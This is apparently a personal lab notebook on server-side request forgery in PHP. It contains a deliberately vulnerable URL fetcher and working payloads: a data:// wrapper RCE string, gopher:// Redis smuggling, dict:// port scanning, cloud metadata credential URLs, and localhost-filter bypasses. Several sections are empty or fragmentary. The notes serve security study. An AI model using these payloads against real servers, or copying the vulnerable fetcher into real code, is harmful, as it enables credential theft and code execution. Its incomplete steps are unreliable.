SSRF

This research series focuses on Server-Side Request Forgery (SSRF) scenarios and will be updated periodically. The goal is to explore SSRF across different technology stacks and real-world scenarios

This Page covers:

  • Tester Code to test SSRF into php and how to test with different protocols.

  • AWS credentials leak and what to do after

  • Basic SSRF Bypasses

What is the intention:

The purpose of this research is to understand how different programming languages and environments behave when handling external requests, how SSRF vulnerabilities can be exploited, and how they can be effectively mitigated.

PHP

<?php

if (!isset($_GET['url'])){
	echo "Provide url as: ?url";
	exit;
}

$url = $_GET['url'];
$output = file_get_contents($url);
echo "<pre>";
echo htmlspecialchars($output);
echo "</pre>";

?>

file_get_contents accepts urls too. PHP doesn't see urls What it actually sees are: wrappers like:

http://, file:/// and they tell PHP how to proceed. Hands it to stream wrapper. Wrapper decides how to read data So we are not abusing PHP but I/O abstractions.

Wrapper
Purpose
SSRF relevance

http://

HTTP requests

⭐⭐⭐

https://

HTTPS

⭐⭐⭐

file://

Local files

⭐⭐⭐

php://

PHP internals

⭐⭐

ftp://

FTP

⭐⭐

gopher://

Raw TCP

⭐⭐⭐⭐

SSRF can be one-way also as the data we send , sometimes backend can't parse that properly and we can't get human readable replies too.

Variant 2:

curl based:

Fetcher
Internals

file_get_contents()

PHP stream wrappers

curl_exec()

libcurl + PHP glue

Code we using to test:

This code is better to test PHP Behavior:

Instructions for your Research Lab

  1. Read Source via SSRF (Exfiltration): ?url=php://filter/convert.base64-encode/resource=ssrf.php

  2. RCE via Data Wrapper: ?inc=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== (Note: This requires allow_url_include = On in your php.ini).

  3. Internal Port Scanning (Timing): ?curl=dict://127.0.0.1:22 (Compare time to a closed port like ?curl=dict://127.0.0.1:9999)

  4. Protocol Smuggling (Redis): ?curl=gopher://127.0.0.1:6379/_%250d%250aINFO%250d%250aQUIT%250d%250a

Function
Executes code?

file_get_contents()

curl_exec()

include()

require()

eval()

unserialize()

Attacks

Cloud Metdata:

  • AWS/OpenStack: http://169.254.169.254/latest/meta-data/iam/security-credentials/

  • Google Cloud: http://metadata.google.internal/computeMetadata/v1/ (Requires a specific header, but sometimes bypassable via older API versions).

  • Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01

2. RCE via PHP Wrappers

PHP supports various URI schemes (wrappers) that can be devastating when passed to file_get_contents() or curl.

  • expect://: If the expect extension is enabled, you can run shell commands directly: ?url=expect://id The expect:// wrapper is not a default PHP feature. It is part of the PECL expect extension. On a standard Kali or Debian install, this is almost never installed by default. Try with:

  • php://filter: Useful for bypasses. You can base64 encode local files so they don't get executed/rendered before you read them: ?url=php://filter/convert.base64-encode/resource=ssrf.php

  • phar://: Can lead to deserialization attacks if you can upload a phar file to the server first.

4. Bypassing the "Localhost" Block

Even if a dev blocks 127.0.0.1, you can try:

  • Decimal Encoding: http://2130706433/

  • Hex Encoding: http://0x7f000001/

  • Alternative Local IPs: http://0.0.0.0/ or http://[::]/ (IPv6)

  • DNS Aliases: Register a domain like spoof.com and point its A record to 127.0.0.1.

Lab Exercise: Redis to RCE

If we have Redis installed on your Kali machine (listening on 127.0.0.1:6379 with no password), try to use the gopher:// protocol to write a small PHP file to your /home/kali/web/ directory.

Practical:

dict:// (Internal Recon)

The Dictionary Protocol is amazing for port scanning. Since it's designed to fetch definitions, if a port is open and sends a banner (like SSH or Redis), dict will show it to you. Scanning for web service: ?curl=dict://127.0.0.1:80/info ![[Pasted image 20260201232548.png]]

Works in curl we can also check for protocols in:

PHP wrappers

Gophers

Gopher is an application-layer protocol that provides the ability to extract and view Web documents stored on remote Web servers.

Doesn't work , Need to research why

  • Gopher with HTTP

Internal Port Scanning

Try connecting to memcached:

Data://

We can print the output doesn't execute.

Other protocols to try:

  • sftp://

  • ldap:// or ldaps:// or ldapi://

  • tftp://

  • jar:

Payloads:

@ removes domain whitelistings

  • http://myid.ostify.com/ Normal URL

  • //myid.ostify.com double slashes ahead

  • myid.ostify.com subdomain direrct

  • .myid.ostify.com dot ahead

Some non usual ways to find

Good Blogs

  1. Install and configure AWS CLI by using the above security credentials.

  1. How to find region

  1. command execution

How to get instance ID?: http://169.254.169.254/latest/meta-data/instance-id 4. Get the output of command:

Last updated